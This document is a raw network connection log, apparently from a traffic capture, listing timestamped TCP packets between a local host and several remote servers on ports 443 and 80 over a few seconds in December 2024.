Dec 17, 2024 22:24:54.686470032 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.686482906 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.686562061 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.686578989 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.696847916 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.696858883 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.697041035 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.697053909 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.697812080 CET	443	49740	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.698081017 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.698127985 CET	443	49740	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.699590921 CET	443	49740	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.699657917 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.700105906 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.700139999 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.700206041 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.700206041 CET	443	49740	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.700264931 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.700644016 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.700700045 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.700787067 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.701126099 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.701155901 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.703428030 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.703489065 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.703501940 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.703531027 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.703571081 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.706521034 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.706572056 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.710767984 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.710832119 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.722106934 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.722131968 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.722172976 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.722184896 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.722201109 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.722237110 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.732264996 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.732286930 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.732336044 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.732348919 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.732387066 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.848715067 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.848779917 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.848829985 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.848846912 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.848877907 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.848895073 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.855993032 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.856069088 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.856076956 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.856098890 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.856125116 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.856143951 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.863730907 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.863779068 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.863811970 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.863825083 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.863841057 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.863857031 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.871206045 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.871267080 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.871279001 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.871292114 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.871328115 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.880507946 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.880552053 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.880582094 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.880593061 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.880606890 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.880636930 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.886312008 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.886358976 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.886377096 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.886385918 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.886405945 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.886421919 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.892688036 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.892730951 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.892765045 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.892776012 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.892796993 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.892812967 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.894692898 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.894757986 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.925926924 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.925972939 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.926115990 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.926115990 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.926130056 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.977312088 CET	443	49741	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:54.977619886 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.977685928 CET	443	49741	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:54.977787018 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.979130030 CET	443	49741	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:54.979201078 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.979513884 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.979513884 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.979562044 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.979605913 CET	443	49741	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:54.979667902 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.979918957 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.979981899 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:54.980071068 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.980325937 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:54.980351925 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:55.041656017 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.041706085 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.041826963 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.041826963 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.041842937 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.041887045 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.049331903 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.049396992 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.049416065 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.049437046 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.049464941 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.049482107 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.055993080 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.056041002 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.056067944 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.056083918 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.056097031 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.056117058 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.062413931 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.062484026 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.062489986 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.062522888 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.062547922 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.066740990 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.066797972 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.066819906 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.066829920 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.066868067 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.073957920 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.074028969 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.074029922 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.074049950 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.074083090 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.074101925 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.074143887 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.081401110 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.081442118 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.081463099 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.081473112 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.081486940 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.088053942 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.088099003 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.088116884 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.088126898 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.088149071 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.088165045 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.116298914 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.116365910 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.231445074 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.231508017 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.231578112 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.231614113 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.231632948 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.231656075 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.238363981 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.238409042 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.238447905 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.238461018 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.238480091 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.238491058 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.245810986 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.245851040 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.245881081 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.245894909 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.245922089 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.245934963 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.253645897 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.253688097 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.253726006 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.253737926 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.253762007 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.253782034 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.260066986 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.260139942 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.260148048 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.260169983 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.260196924 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.266309023 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.266366959 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.266406059 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.266418934 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.266443014 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.270435095 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.270502090 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.270517111 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.270533085 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.270575047 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.276009083 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.276056051 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.276082039 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.276108980 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.276122093 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.279215097 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.279285908 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.279299974 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.309726000 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.309801102 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.309818983 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.309834003 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.309859037 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.309875965 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.309986115 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:55.310009003 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:55.454428911 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:55.454530001 CET	443	49744	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:55.454622030 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:55.454998970 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:55.455035925 CET	443	49744	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:55.468708038 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:55.468741894 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:55.468811035 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:55.468988895 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:55.469017029 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:56.123965979 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.124407053 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.124469042 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.124819994 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.125149012 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.125219107 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.125302076 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.167354107 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.244445086 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.244848967 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:56.244915009 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.245398998 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.245724916 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:56.245812893 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.245915890 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:56.287374973 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.668946028 CET	443	49744	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:56.669323921 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.669348001 CET	443	49744	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:56.673082113 CET	443	49744	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:56.673162937 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.674242020 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.674254894 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.674314022 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.674326897 CET	443	49744	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:56.674386024 CET	49744	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.674770117 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.674837112 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:56.674925089 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.675165892 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:56.675203085 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:56.733887911 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.733932972 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.733963966 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.733984947 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.734002113 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.734036922 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.734050035 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.734055996 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.734097958 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.742311001 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.750730038 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.750819921 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.750832081 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.799926043 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.799936056 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.847855091 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.854088068 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.858292103 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.858386993 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.858396053 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.869591951 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.869954109 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.870034933 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:56.870910883 CET	49743	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:56.870960951 CET	443	49743	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:56.911885023 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.925821066 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.929868937 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.929936886 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.929950953 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.929964066 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.930006981 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.941376925 CET	49698	80	192.168.2.16	192.229.221.95
Dec 17, 2024 22:24:56.941693068 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.950751066 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.950864077 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.950949907 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.950959921 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.951009989 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.958873034 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.967020035 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.967092991 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.967117071 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.975550890 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.975665092 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.975693941 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.984041929 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.984147072 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.984158993 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.992611885 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.992714882 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.992722988 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.998509884 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:56.998611927 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:56.998620987 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.006561995 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.006640911 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.006648064 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.012454033 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.012533903 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.012541056 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.018712044 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.018793106 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.018799067 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.062318087 CET	80	49698	192.229.221.95	192.168.2.16
Dec 17, 2024 22:24:57.062391996 CET	49698	80	192.168.2.16	192.229.221.95
Dec 17, 2024 22:24:57.072082996 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.072108984 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.119935989 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.120071888 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.122354031 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.122379065 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.122451067 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.122464895 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.122514963 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.131776094 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.131783962 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.131849051 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.136337042 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.136404037 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.140937090 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.140947104 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.141010046 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.144958973 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.145024061 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.153141022 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.153148890 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.153242111 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.157258987 CET	443	49742	104.21.57.143	192.168.2.16
